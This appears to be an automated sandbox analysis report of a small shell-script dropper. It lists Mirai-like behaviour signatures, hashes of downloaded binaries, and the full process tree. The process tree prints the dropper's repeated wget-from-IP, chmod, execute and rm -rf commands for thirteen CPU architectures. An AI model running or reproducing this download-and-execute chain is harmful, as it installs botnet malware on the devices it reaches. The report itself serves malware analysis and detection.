Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260126-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260126-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    22/04/2026, 11:34

General

  • Target
    _445dda23134321b39d104c032b3d5c1fe60ff7436cf6c5320906abb05d7141fd.sh
  • Size 1010B
  • Sample260422-npnm4sat21
  • SHA256 445dda23134321b39d104c032b3d5c1fe60ff7436cf6c5320906abb05d7141fd
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Modifies Watchdog functionality 1 TTPs 8 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Reads system routing table 1 TTPs 4 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Changes its process name 4 IoCs
  • Reads system network configuration 1 TTPs 4 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/_445dda23134321b39d104c032b3d5c1fe60ff7436cf6c5320906abb05d7141fd.sh
    /tmp/_445dda23134321b39d104c032b3d5c1fe60ff7436cf6c5320906abb05d7141fd.sh
    1⤵
    • Executes dropped EXE
    PID:648
    • /usr/bin/wget
      wget http://176.65.139.143/MIPS
      2⤵
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:653
    • /bin/chmod
      chmod +x MIPS
      2⤵
      • File and Directory Permissions Modification
      PID:669
    • /tmp/MIPS
      ./MIPS
      2⤵
      • System Network Configuration Discovery
      PID:671
    • /bin/rm
      rm -rf MIPS
      2⤵
      • System Network Configuration Discovery
      PID:673
    • /usr/bin/wget
      wget http://176.65.139.143/MIPSEL
      2⤵
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:674
    • /bin/chmod
      chmod +x MIPSEL
      2⤵
      • File and Directory Permissions Modification
      PID:679
    • /tmp/MIPSEL
      ./MIPSEL
      2⤵
      • System Network Configuration Discovery
      PID:680
    • /bin/rm
      rm -rf MIPSEL
      2⤵
      • System Network Configuration Discovery
      PID:682
    • /usr/bin/wget
      wget http://176.65.139.143/SH4
      2⤵
      • Writes file to tmp directory
      PID:683
    • /bin/chmod
      chmod +x SH4
      2⤵
      • File and Directory Permissions Modification
      PID:685
    • /tmp/SH4
      ./SH4
      2⤵
        PID:686
      • /bin/rm
        rm -rf SH4
        2⤵
          PID:688
        • /usr/bin/wget
          wget http://176.65.139.143/X86_64
          2⤵
          • Writes file to tmp directory
          PID:689
        • /bin/chmod
          chmod +x X86_64
          2⤵
          • File and Directory Permissions Modification
          PID:690
        • /tmp/X86_64
          ./X86_64
          2⤵
            PID:691
          • /bin/rm
            rm -rf X86_64
            2⤵
              PID:693
            • /usr/bin/wget
              wget http://176.65.139.143/I686
              2⤵
              • Writes file to tmp directory
              PID:694
            • /bin/chmod
              chmod +x I686
              2⤵
              • File and Directory Permissions Modification
              PID:695
            • /tmp/I686
              ./I686
              2⤵
                PID:696
              • /bin/rm
                rm -rf I686
                2⤵
                  PID:698
                • /usr/bin/wget
                  wget http://176.65.139.143/POWERPC
                  2⤵
                  • Writes file to tmp directory
                  PID:699
                • /bin/chmod
                  chmod +x POWERPC
                  2⤵
                  • File and Directory Permissions Modification
                  PID:700
                • /tmp/POWERPC
                  ./POWERPC
                  2⤵
                    PID:701
                  • /bin/rm
                    rm -rf POWERPC
                    2⤵
                      PID:703
                    • /usr/bin/wget
                      wget http://176.65.139.143/I586
                      2⤵
                      • Writes file to tmp directory
                      PID:704
                    • /bin/chmod
                      chmod +x I586
                      2⤵
                      • File and Directory Permissions Modification
                      PID:705
                    • /tmp/I586
                      ./I586
                      2⤵
                        PID:706
                      • /bin/rm
                        rm -rf I586
                        2⤵
                          PID:708
                        • /usr/bin/wget
                          wget http://176.65.139.143/M68K
                          2⤵
                          • Writes file to tmp directory
                          PID:709
                        • /bin/chmod
                          chmod +x M68K
                          2⤵
                          • File and Directory Permissions Modification
                          PID:717
                        • /tmp/M68K
                          ./M68K
                          2⤵
                            PID:719
                          • /bin/rm
                            rm -rf M68K
                            2⤵
                              PID:721
                            • /usr/bin/wget
                              wget http://176.65.139.143/SPARC
                              2⤵
                              • Writes file to tmp directory
                              PID:722
                            • /bin/chmod
                              chmod +x SPARC
                              2⤵
                              • File and Directory Permissions Modification
                              PID:730
                            • /tmp/SPARC
                              ./SPARC
                              2⤵
                                PID:732
                              • /bin/rm
                                rm -rf SPARC
                                2⤵
                                  PID:734
                                • /usr/bin/wget
                                  wget http://176.65.139.143/ARMV4L
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:736
                                • /bin/chmod
                                  chmod +x ARMV4L
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:744
                                • /tmp/ARMV4L
                                  ./ARMV4L
                                  2⤵
                                  • Modifies Watchdog functionality
                                  • Reads system routing table
                                  • Changes its process name
                                  • Reads system network configuration
                                  • Reads runtime system information
                                  PID:745
                                • /bin/rm
                                  rm -rf ARMV4L
                                  2⤵
                                    PID:751
                                  • /usr/bin/wget
                                    wget http://176.65.139.143/ARMV5L
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:752
                                  • /bin/chmod
                                    chmod +x ARMV5L
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:758
                                  • /tmp/ARMV5L
                                    ./ARMV5L
                                    2⤵
                                    • Modifies Watchdog functionality
                                    • Reads system routing table
                                    • Changes its process name
                                    • Reads system network configuration
                                    • Reads runtime system information
                                    PID:760
                                  • /bin/rm
                                    rm -rf ARMV5L
                                    2⤵
                                      PID:765
                                    • /usr/bin/wget
                                      wget http://176.65.139.143/ARMV6L
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:766
                                    • /bin/chmod
                                      chmod +x ARMV6L
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:777
                                    • /tmp/ARMV6L
                                      ./ARMV6L
                                      2⤵
                                      • Modifies Watchdog functionality
                                      • Reads system routing table
                                      • Changes its process name
                                      • Reads system network configuration
                                      • Reads runtime system information
                                      PID:778
                                    • /bin/rm
                                      rm -rf ARMV6L
                                      2⤵
                                        PID:783
                                      • /usr/bin/wget
                                        wget http://176.65.139.143/ARMV7L
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:784
                                      • /bin/chmod
                                        chmod +x ARMV7L
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:786
                                      • /tmp/ARMV7L
                                        ./ARMV7L
                                        2⤵
                                        • Modifies Watchdog functionality
                                        • Reads system routing table
                                        • Changes its process name
                                        • Reads system network configuration
                                        • Reads runtime system information
                                        PID:787
                                      • /bin/rm
                                        rm -rf ARMV7L
                                        2⤵
                                          PID:791

                                      Network

                                            MITRE ATT&CK Enterprise v16

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            ARMV4L

                                            • Path /tmp/ARMV4L
                                            • Size 36KB
                                            • SHA256 4d632fc779db3041cfa5061eb43f357bc7253a3eecbb3640238e5be8d03bbb94
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            ARMV5L

                                            • Path /tmp/ARMV5L
                                            • Size 35KB
                                            • SHA256 c6f112beb875598b2aa747fe555f6a99ffc9200857906b20bc12f098435ad050
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            ARMV6L

                                            • Path /tmp/ARMV6L
                                            • Size 40KB
                                            • SHA256 9b11465c681a52062544ce4063782c6ceca86ccdb10884e040f0b3b039fa1959
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            ARMV7L

                                            • Path /tmp/ARMV7L
                                            • Size 46KB
                                            • SHA256 ce58f79876dea15a64464368ab684d4172ccba4d947e23734a3bdb7abc6b0a9e
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            I586

                                            • Path /tmp/I586
                                            • Size 35KB
                                            • SHA256 0102ad7582030c74bd584fdb409ea73260df147dcf45117bead522f4036bf95c
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            I686

                                            • Path /tmp/I686
                                            • Size 35KB
                                            • SHA256 0f70443956f8340ec3a31ca44c34619a2ea1db1b07b68c06c5f4e72ae8581df8
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            M68K

                                            • Path /tmp/M68K
                                            • Size 93KB
                                            • SHA256 bab0dcfda381ca364b3b2d943e975c700cfca7e5a32ee8294e88c5e846ce758c
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            MIPS

                                            • Path /tmp/MIPS
                                            • Size 40KB
                                            • SHA256 992befbe4fb11188363057c9414267b1d4876b3115d6cfddafbddb95e0044358
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            MIPSEL

                                            • Path /tmp/MIPSEL
                                            • Size 40KB
                                            • SHA256 0e899af91c628891d209be429a246e847f27fe59b5ae6e36f701392fb4147ef7
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            POWERPC

                                            • Path /tmp/POWERPC
                                            • Size 35KB
                                            • SHA256 6388fba119c828a2fb8d7c58038b8f703d1e80b39615a8f1e7cfe0013eca9102
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            SH4

                                            • Path /tmp/SH4
                                            • Size 78KB
                                            • SHA256 df0f35be133fe0c0eaf730004749681beaca144ddfa7da624495fd4abd0d07c4
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            SPARC

                                            • Path /tmp/SPARC
                                            • Size 100KB
                                            • SHA256 7e526353d2dc55f5941c2eb6fd325c5ca79e34622cfdcd2c67e1cfa0263359c2
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            X86_64

                                            • Path /tmp/X86_64
                                            • Size 38KB
                                            • SHA256 6f3fc8def94daf3a69c6fe855b1425252410aecf6de035b6098f3536af8e1173
                                            • MD5 SHA1 SHA512 SSDEEP TLSH